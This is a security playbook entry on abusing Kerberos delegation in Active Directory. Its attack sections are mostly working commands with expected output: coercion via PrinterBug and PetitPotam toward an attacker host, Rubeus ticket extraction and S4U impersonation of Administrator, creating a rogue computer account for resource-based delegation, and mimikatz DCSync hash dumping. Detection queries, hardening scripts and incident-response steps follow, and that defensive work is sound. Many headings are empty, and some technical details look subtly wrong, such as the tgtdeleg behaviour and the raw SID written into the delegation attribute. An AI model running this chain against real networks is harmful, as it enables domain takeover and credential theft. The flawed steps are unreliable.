| Attribute | Details |
|---|---|
| Technique ID | PE-VALID-004 |
| MITRE ATT&CK v18.1 | T1078.002 - Valid Accounts: Domain Accounts |
| Tactic | Privilege Escalation, Lateral Movement |
| Platforms | Windows AD (Hybrid and on-premises) |
| Severity | CRITICAL |
| CVE | N/A (Configuration issue, not a bug) |
| Technique Status | ACTIVE (Mitigation available but requires configuration) |
| Last Verified | 2025-01-09 |
| Affected Versions | Windows Server 2003 - 2022 (all versions vulnerable if misconfigured) |
| Patched In | N/A (requires administrative configuration, not a patch) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Kerberos delegation is a legitimate feature that allows service accounts to impersonate users when accessing other services. There are three types of delegation:
msDS-AllowedToDelegateTo).Attackers exploit misconfigured delegation when:
Attack Surface: Kerberos Service Tickets (S4U2Self, S4U2Proxy), service account impersonation, LDAP/HOST/CIFS service access to Domain Controllers.
Business Impact: Full domain compromise via impersonation of Domain Admins. An attacker with access to a misconfigured service account can impersonate any non-protected Domain Admin account and gain equivalent privileges to access all domain resources and modify Active Directory.
Technical Context: This attack takes 5-20 minutes to execute, depending on delegation discovery time. It generates low audit trail (normal Kerberos operations) but can be detected with proper monitoring of S4U requests. The attack exploits legitimate Kerberos protocol features, making it difficult to distinguish from normal activity without baseline knowledge.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.2.5 | Kerberos delegation restrictions |
| DISA STIG | V-3377, V-3378 | Kerberos delegation audit |
| CISA SCuBA | AC-2, AC-6 | Account management; Least privilege |
| NIST 800-53 | AC-6, IA-4 | Least privilege; Account identifier |
| GDPR | Art. 32 | Security of Processing (authentication) |
| DORA | Art. 18 | ICT-related incident management |
| NIS2 | Art. 21 | Cyber risk management (authentication) |
| ISO 27001 | A.9.2.1, A.9.2.3 | User access management; Privileged access rights |
| ISO 27005 | Section 8.2 | Risk treatment options |
Required Privileges:
Required Access:
Supported Versions:
Tools:
Objective: Discover all service accounts configured for delegation (constrained or unconstrained).
PowerShell Command:
# Find users with unconstrained delegation
Get-ADUser -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation, SamAccountName
# Find users with constrained delegation
Get-ADUser -Filter {msDS-AllowedToDelegateTo -like "*"} -Properties msDS-AllowedToDelegateTo, SamAccountName |
Select-Object SamAccountName, msDS-AllowedToDelegateTo
# Find computers with unconstrained delegation
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation, SamAccountName
# Find computers with constrained delegation
Get-ADComputer -Filter {msDS-AllowedToDelegateTo -like "*"} -Properties msDS-AllowedToDelegateTo, SamAccountName
# Expected output:
# SamAccountName msDS-AllowedToDelegateTo
# --------------- -------------------------
# exchange_service ldap/dc01.domain.local, cifs/fileserver.domain.local
# web_app_account http/webapp.domain.local, http/backup.domain.local
# backup_service host/dc01.domain.local, host/dc02.domain.local
What to Look For:
Objective: Find delegation paths that lead to Domain Admin impersonation capability.
PowerShell Command:
# Find delegation to LDAP (DC-level access)
Get-ADUser -Filter {msDS-AllowedToDelegateTo -like "*ldap*"} -Properties msDS-AllowedToDelegateTo |
Select-Object SamAccountName, msDS-AllowedToDelegateTo
# Find delegation to HOST service (full admin access)
Get-ADUser -Filter {msDS-AllowedToDelegateTo -like "*host*"} -Properties msDS-AllowedToDelegateTo |
Select-Object SamAccountName, msDS-AllowedToDelegateTo
# Find delegation to CIFS (file share access)
Get-ADUser -Filter {msDS-AllowedToDelegateTo -like "*cifs*"} -Properties msDS-AllowedToDelegateTo
# Expected high-risk output:
# exchange_service → ldap/dc01.domain.local, cifs/dc01.domain.local
# backup_svc → host/dc01.domain.local, host/dc02.domain.local
What to Look For:
Objective: Verify if accounts with delegation are marked “sensitive and cannot be delegated”.
PowerShell Command:
# Check for "sensitive and cannot be delegated" flag
$delegatedAccounts = Get-ADUser -Filter {msDS-AllowedToDelegateTo -like "*"} -Properties UserAccountControl
foreach ($account in $delegatedAccounts) {
$uac = $account.UserAccountControl
$isNotDelegated = [bool]($uac -band 0x100000) # 0x100000 = NOT_DELEGATED flag
Write-Host "$($account.SamAccountName): NOT_DELEGATED=$isNotDelegated"
}
# Expected output (vulnerable):
# exchange_service: NOT_DELEGATED=False
# backup_svc: NOT_DELEGATED=False
# If any Domain Admin accounts show NOT_DELEGATED=False, they are vulnerable to impersonation
$domainAdmins = Get-ADGroupMember -Identity "Domain Admins" -Recursive
foreach ($admin in $domainAdmins) {
$adminObj = Get-ADUser -Identity $admin.SID -Properties UserAccountControl
$uac = $adminObj.UserAccountControl
$isNotDelegated = [bool]($uac -band 0x100000)
if (!$isNotDelegated) {
Write-Warning "VULNERABLE: Domain Admin $($adminObj.SamAccountName) can be delegated to!"
}
}
What to Look For:
NOT_DELEGATED=False on service accounts with delegation: Vulnerability exists.NOT_DELEGATED=False: High-risk misconfiguration.Objective: Check if target users are members of “Protected Users” group (prevents delegation).
PowerShell Command:
# Get members of Protected Users group
Get-ADGroupMember -Identity "Protected Users" -Recursive | Select-Object SamAccountName
# Check if specific Domain Admin is protected
$admin = Get-ADUser -Identity "Administrator"
$isProtected = Get-ADGroupMember -Identity "Protected Users" -Recursive |
Where-Object { $_.SID -eq $admin.SID }
if ($isProtected) {
Write-Host "Administrator is PROTECTED from delegation"
} else {
Write-Warning "Administrator is NOT PROTECTED from delegation - Vulnerable!"
}
# Expected output (secure):
# Protected Users members: (should include all Domain Admins)
# Expected output (vulnerable):
# Protected Users members: (empty or missing critical admin accounts)
What to Look For:
Supported Versions: Windows Server 2003 - 2022
Preconditions:
Objective: Obtain credentials for a service account configured for unconstrained delegation.
Command:
# Find unconstrained delegation accounts
Get-ADUser -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation
# Example compromised account: WEBSERVER$, exchange_svc, backup_service
# Obtain NTLM hash or credentials
$credential = Get-Credential -Message "Enter service account credentials"
# Or use compromised hash: 09ecac4ad3b74c8b6a3e2b8b5c6d7e8f
What This Means:
TrustedForDelegation flag set.Objective: Trigger a high-privilege user (Domain Admin) to authenticate to the compromised service.
Methods:
# Option 1: Print Spooler Abuse (PrinterBug) - Forces DC to authenticate
# Requires: Spooler service running on DC
Invoke-PrinterBug -ComputerName dc01.domain.local -Printer "\\attacker_ip\share"
# Option 2: Petitpotam - MS-EFSR abuse
Invoke-Petitpotam -TargetName dc01.domain.local -CaptureIP attacker_ip
# Option 3: Direct authentication (if user connects naturally)
# Wait for legitimate user to connect to the service
What This Means:
Objective: Capture and extract the TGT from incoming authentication.
Command (Windows):
# Download and run Rubeus
Invoke-WebRequest -Uri "https://github.com/GhostPack/Rubeus/releases/download/v1.6.9/Rubeus.exe" `
-OutFile "C:\Temp\Rubeus.exe"
# Extract TGT from incoming connections
C:\Temp\Rubeus.exe tgtdeleg /nowrap
# Expected output (when DC connects):
# [*] Waiting for incoming user credentials...
# [+] TGT extracted from authenticator!
# [+] Base64 encoded TGT:
# doIFXDCCBVigAwIBBaENGwtET01BSU4uQ09S...
# Save the TGT
$tgt = "doIFXDCCBVigAwIBBaENGwtET01BSU4uQ09S..."
$tgt | Out-File -FilePath "C:\Temp\admin_tgt.txt"
What This Means:
Troubleshooting:
Objective: Leverage the extracted TGT to access domain resources as Domain Admin.
Command:
# Use extracted TGT to request service tickets
$tgtBase64 = "doIFXDCCBVigAwIBBaENGwtET01BSU4uQ09S..."
# Request LDAP service ticket (for DCSync)
C:\Temp\Rubeus.exe asktgs /ticket:$tgtBase64 /service:ldap/dc01.domain.local /ptt
# Or use Impacket for cross-platform
# export KRB5CCNAME="exported_tgt.ccache"
# secretsdump.py -k -no-pass domain.local/Administrator@dc01.domain.local
# Verify ticket is injected
C:\Temp\Rubeus.exe klist
# Expected output:
# [*] Current tickets:
# [+] Client: DC01$ @ DOMAIN.LOCAL
# [+] Server: ldap/dc01.domain.local @ DOMAIN.LOCAL
# [+] Expires: [timestamp]
# Perform DCSync to dump password hashes
mimikatz.exe "lsadump::dcsync /domain:domain.local /all /csv" exit
What This Means:
Supported Versions: Windows Server 2003 - 2022
Preconditions:
Objective: Find vulnerable service account whose delegation leads to Domain Admin access.
Command:
# Find constrained delegation to LDAP/HOST/CIFS on DC
Get-ADUser -Filter {msDS-AllowedToDelegateTo -like "*ldap*" -or msDS-AllowedToDelegateTo -like "*host*"} `
-Properties msDS-AllowedToDelegateTo, SamAccountName
# Example vulnerable account:
# SamAccountName: exchange_svc
# msDS-AllowedToDelegateTo: ldap/dc01.domain.local, cifs/dc01.domain.local
# Obtain credentials or hash for this service account
# (Assume compromised via credential spray, phishing, or lateral movement)
What to Look For:
Objective: Request a service ticket impersonating a Domain Admin user.
Command (Using Rubeus):
# Get NTLM hash of service account (or use /password option)
$ntlmHash = "09ecac4ad3b74c8b6a3e2b8b5c6d7e8f" # exchange_svc NTLM hash
# Perform S4U2Self to impersonate Administrator
C:\Temp\Rubeus.exe s4u /user:exchange_svc /rc4:$ntlmHash `
/impersonateuser:Administrator /msdsspn:ldap/dc01.domain.local `
/ptt /nowrap
# Expected output:
# [*] Performing S4U2Self/S4U2Proxy delegation for user: Administrator
# [+] S4U2Self successful!
# [+] Service ticket obtained for: Administrator
# [+] Ticket injected into current session (PTT)
# Verify ticket in cache
C:\Temp\Rubeus.exe klist
What This Means:
Troubleshooting:
Objective: Use the impersonated service ticket to access DC LDAP or other services.
Command:
# Access DC C$ share as Administrator (via delegated ticket)
dir \\dc01.domain.local\c$
# Expected output (if successful):
# [Directory listing of DC01 C: drive]
# Perform DCSync using delegated ticket (LDAP access)
# Rubeus already injected ticket; Mimikatz can now use it
mimikatz.exe "lsadump::dcsync /domain:domain.local /user:krbtgt" exit
# Or use Impacket with delegated ticket
# secretsdump.py -k -no-pass domain.local/Administrator@dc01.domain.local
What This Means:
Supported Versions: Windows Server 2012+
Preconditions:
msDS-AllowedToActOnBehalfOfOtherIdentity attribute on target machine.Objective: Create a new computer account or compromise existing one to use for delegation.
Command:
# Create new machine account (if user has quota)
$compName = "ATTACKER-PC"
$compPassword = "Passw0rd123!"
New-ADComputer -Name $compName -SamAccountName ($compName + "$") `
-Path "CN=Computers,DC=domain,DC=local" -Enabled $true -PassThru
# Set password for the computer
Set-ADAccountPassword -Identity $compName -Reset -NewPassword (ConvertTo-SecureString $compPassword -AsPlainText -Force)
# Get computer SID
$compSID = (Get-ADComputer -Identity $compName).SID
Write-Host "Computer SID: $compSID"
What This Means:
Objective: Grant the attacker’s computer account permission to impersonate users on the target resource.
Command:
# Get target machine (e.g., file server or application server)
$targetMachine = Get-ADComputer -Identity "FILESERVER01"
$targetDN = $targetMachine.DistinguishedName
# Get current RBCD settings
$acl = Get-Acl -Path "AD:\$targetDN"
$acl.Access | Where-Object { $_.ObjectType -eq "msDS-AllowedToActOnBehalfOfOtherIdentity" }
# Grant attacker computer account delegation rights on target
# Create security descriptor for RBCD
$acl = Get-Acl -Path "AD:\$targetDN"
# Add ACE allowing attacker computer to delegate
$sid = New-Object System.Security.Principal.SecurityIdentifier $compSID
$rule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$sid,
[System.DirectoryServices.ActiveDirectoryRights]::WriteProperty,
[System.Security.AccessControl.AccessControlType]::Allow,
[GUID]"3f78c3e5-f79a-46bd-a0b8-55d0e1e8f4b5" # GUID for msDS-AllowedToActOnBehalfOfOtherIdentity
)
$acl.AddAccessRule($rule)
Set-Acl -Path "AD:\$targetDN" -AclObject $acl
# Alternatively, use PowerShell to directly set msDS-AllowedToActOnBehalfOfOtherIdentity
$sd = New-Object System.DirectoryServices.DirectoryEntrySecurity
$sd.SetAccessRuleProtection($false, $false)
# Add computer SID to allowed delegation
Set-ADComputer -Identity $targetMachine -Replace @{
"msDS-AllowedToActOnBehalfOfOtherIdentity" = $sid
}
# Verify setting was applied
Get-ADComputer $targetMachine -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
What This Means:
OpSec & Evasion:
Objective: Request service tickets as Domain Admin using configured RBCD.
Command:
# Request ticket for attacker computer account
$compPassword = "Passw0rd123!"
C:\Temp\Rubeus.exe asktgt /user:ATTACKER-PC$ /password:$compPassword `
/domain:domain.local /dc:dc01.domain.local /outfile:attacker_tgt.kirbi
# Use S4U2Proxy to impersonate Administrator on target service
C:\Temp\Rubeus.exe s4u /ticket:attacker_tgt.kirbi /impersonateuser:Administrator `
/msdsspn:cifs/fileserver01.domain.local /ptt
# Or target DC for ultimate access
C:\Temp\Rubeus.exe s4u /ticket:attacker_tgt.kirbi /impersonateuser:Administrator `
/msdsspn:ldap/dc01.domain.local /ptt
# Verify ticket injection
C:\Temp\Rubeus.exe klist
# Access resources as Administrator
dir \\fileserver01.domain.local\c$
What This Means:
Version: 1.6.9+
Supported Platforms: Windows (.NET)
Installation:
Invoke-WebRequest -Uri "https://github.com/GhostPack/Rubeus/releases/download/v1.6.9/Rubeus.exe" `
-OutFile "C:\Temp\Rubeus.exe"
Usage:
# Unconstrained delegation - TGT extraction
Rubeus.exe tgtdeleg /nowrap
# Constrained delegation - S4U abuse
Rubeus.exe s4u /user:service /rc4:hash /impersonateuser:admin /msdsspn:ldap/dc /ptt
# RBCD abuse
Rubeus.exe s4u /user:computer$ /password:pass /impersonateuser:admin /msdsspn:cifs/target /ptt
Tools: getST.py, getSPN.py, secretsdump.py
Installation:
pip3 install impacket
Usage:
# Constrained delegation with Impacket
getST.py -k -no-pass domain.local/service@dc01.domain.local
# DCSync with delegated ticket
export KRB5CCNAME=ticket.ccache
secretsdump.py -k -no-pass domain.local/admin@dc01.domain.local
KQL Query:
SecurityEvent
| where EventID == 4769 // Service ticket request
| where ServiceName contains "$"
| where ImpersonatingLevel == "Delegation"
| project TimeGenerated, Account, ServiceName, SourceComputerName
KQL Query:
AuditLogs
| where OperationName contains "delegat" or OperationName contains "msDS-Allowed"
| where Result == "Success"
| project TimeGenerated, OperationName, Identity, TargetResources
| Event ID | Source | Description | Severity |
|---|---|---|---|
| 4769 | Security | Service ticket request | LOW (baseline) |
| 5136 | Security | msDS-AllowedToDelegateTo modified | HIGH |
| 4768 | Security | TGT requested | LOW (baseline) |
| 4662 | Security | Object access (delegation objects) | MEDIUM |
# Monitor for S4U requests that impersonate privileged users
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
Id = 4769
StartTime = (Get-Date).AddHours(-1)
} | Where-Object {
$_.Properties[2] -match "S4U" -or
$_.Properties[3] -match "Administrator|Domain Admin|krbtgt"
} | ForEach-Object {
Write-Host "ALERT: S4U request detected - possible delegation abuse"
}
Objective: Remove unconstrained delegation from all non-DC accounts.
PowerShell:
# Find all non-DC accounts with unconstrained delegation
Get-ADUser -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation |
Where-Object { $_.SamAccountName -notmatch "\$" } |
ForEach-Object {
Set-ADUser -Identity $_ -TrustedForDelegation $false
Write-Host "Disabled unconstrained delegation for: $($_.SamAccountName)"
}
# Verify removal
Get-ADUser -Filter {TrustedForDelegation -eq $true}
Impact:
Objective: Replace unconstrained delegation with constrained delegation to only necessary services.
PowerShell:
# Example: Constrain exchange_svc to only LDAP and CIFS on specific servers
Set-ADUser -Identity "exchange_svc" -TrustedForDelegation $false
Set-ADUser -Identity "exchange_svc" -Replace @{
"msDS-AllowedToDelegateTo" = @(
"ldap/dc01.domain.local",
"ldap/dc02.domain.local",
"cifs/fileserver01.domain.local"
)
}
# Verify constrained delegation
Get-ADUser -Identity "exchange_svc" -Properties msDS-AllowedToDelegateTo
Impact:
Objective: Prevent Domain Admin and other privileged accounts from being impersonated via delegation.
PowerShell:
# Mark all Domain Admins as "sensitive and cannot be delegated"
Get-ADGroupMember -Identity "Domain Admins" -Recursive | ForEach-Object {
$user = Get-ADUser -Identity $_.DistinguishedName
# Set NOT_DELEGATED flag (0x100000)
$uac = $user.UserAccountControl
$user.UserAccountControl = $uac -bor 0x100000
Set-ADUser -Instance $user
Write-Host "Marked $($_.SamAccountName) as NOT_DELEGATED"
}
# Verify setting
Get-ADGroupMember -Identity "Domain Admins" -Recursive | ForEach-Object {
$user = Get-ADUser -Identity $_.DistinguishedName -Properties UserAccountControl
$isNotDelegated = [bool]($user.UserAccountControl -band 0x100000)
Write-Host "$($_.SamAccountName): NOT_DELEGATED=$isNotDelegated"
}
Impact:
Objective: Use Windows Server 2012 R2+ Protected Users group for additional protection.
PowerShell:
# Add all Domain Admins to Protected Users
$protectedUsers = Get-ADGroup -Identity "Protected Users"
Get-ADGroupMember -Identity "Domain Admins" -Recursive | ForEach-Object {
Add-ADGroupMember -Identity $protectedUsers -Members $_.DistinguishedName -ErrorAction Continue
Write-Host "Added $($_.SamAccountName) to Protected Users"
}
# Verify membership
Get-ADGroupMember -Identity "Protected Users" | Select-Object SamAccountName
Impact:
Objective: Continuous monitoring for unauthorized delegation changes.
Group Policy:
PowerShell Monitoring Script:
# Check for delegation changes periodically
$delegationNow = Get-ADUser -Filter {msDS-AllowedToDelegateTo -like "*"} -Properties msDS-AllowedToDelegateTo
# Compare with previous baseline
# Alert if new delegation is added
Impact:
Objective: Separate administrative access into tiers to limit delegation attack impact.
Implementation:
Delegation rules by tier:
Impact:
Step 1: Immediate Containment (First 30 minutes)
# 1. Identify compromised service account
Get-EventLog -LogName Security -EventID 4769 |
Where-Object { $_.EventData -match "S4U" } |
Select-Object -First 1 TimeGenerated, EventData
# 2. Disable compromised account
Disable-ADAccount -Identity "exchange_svc"
# 3. Reset password for compromised account
$newPassword = [System.Web.Security.Membership]::GeneratePassword(16, 3)
Set-ADAccountPassword -Identity "exchange_svc" -Reset -NewPassword (ConvertTo-SecureString $newPassword -AsPlainText -Force)
# 4. Remove delegation configuration
Set-ADUser -Identity "exchange_svc" -TrustedForDelegation $false
Set-ADUser -Identity "exchange_svc" -Clear msDS-AllowedToDelegateTo
# 5. Remove any RBCD configurations pointing to it
Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity |
Where-Object { $_.msDS-AllowedToActOnBehalfOfOtherIdentity -match (Get-ADUser -Identity "exchange_svc").SID } |
ForEach-Object {
Set-ADComputer -Identity $_ -Clear msDS-AllowedToActOnBehalfOfOtherIdentity
}
Step 2: Evidence Collection (Hour 1-2)
# Collect delegation-related events
Get-WinEvent -LogName Security -FilterHashtable @{ EventID = 4769; StartTime = (Get-Date).AddDays(-3) } |
Where-Object { $_.Properties[2] -match "S4U" } |
Export-Csv -Path "C:\Incident\S4U_Requests.csv"
# Collect Kerberos TGT requests
Get-WinEvent -LogName Security -FilterHashtable @{ EventID = 4768; StartTime = (Get-Date).AddDays(-3) } |
Export-Csv -Path "C:\Incident\TGT_Requests.csv"
# Collect delegation configuration changes
Get-WinEvent -LogName Security -FilterHashtable @{ EventID = 5136; StartTime = (Get-Date).AddDays(-3) } |
Where-Object { $_.Properties[3] -match "msDS-AllowedToDelegateTo|msDS-AllowedToActOnBehalfOfOtherIdentity" } |
Export-Csv -Path "C:\Incident\Delegation_Changes.csv"
Step 3: Root Cause Analysis (Hour 2-6)
Step 4: Remediation (Hour 6+)
Step 5: Prevention & Hardening
Scenario: Exchange server with unconstrained delegation for mailbox management.
Attack Timeline:
Detection: Unusual S4U requests in Kerberos logs, multiple TGT requests from Exchange service.
Scenario: Application service account configured for constrained delegation to LDAP/DC01.
Attack Timeline:
Detection: Unusual LDAP authentication patterns from service account, S4U requests targeting LDAP.
| Artifact | Location | Indicates |
|---|---|---|
| S4U2Proxy requests | Event ID 4769 | Delegation abuse attempt |
| Unconstrained delegation extraction | Kerberos logs | TGT extraction from service |
| msDS-AllowedToDelegateTo changes | Event ID 5136 | Delegation configuration modified |
| Protected Users group changes | Event ID 4732 | Attempt to remove delegation protection |
| RBCD ACL modifications | Event ID 5136 (msDS-AllowedToActOnBehalfOfOtherIdentity) | RBCD exploitation setup |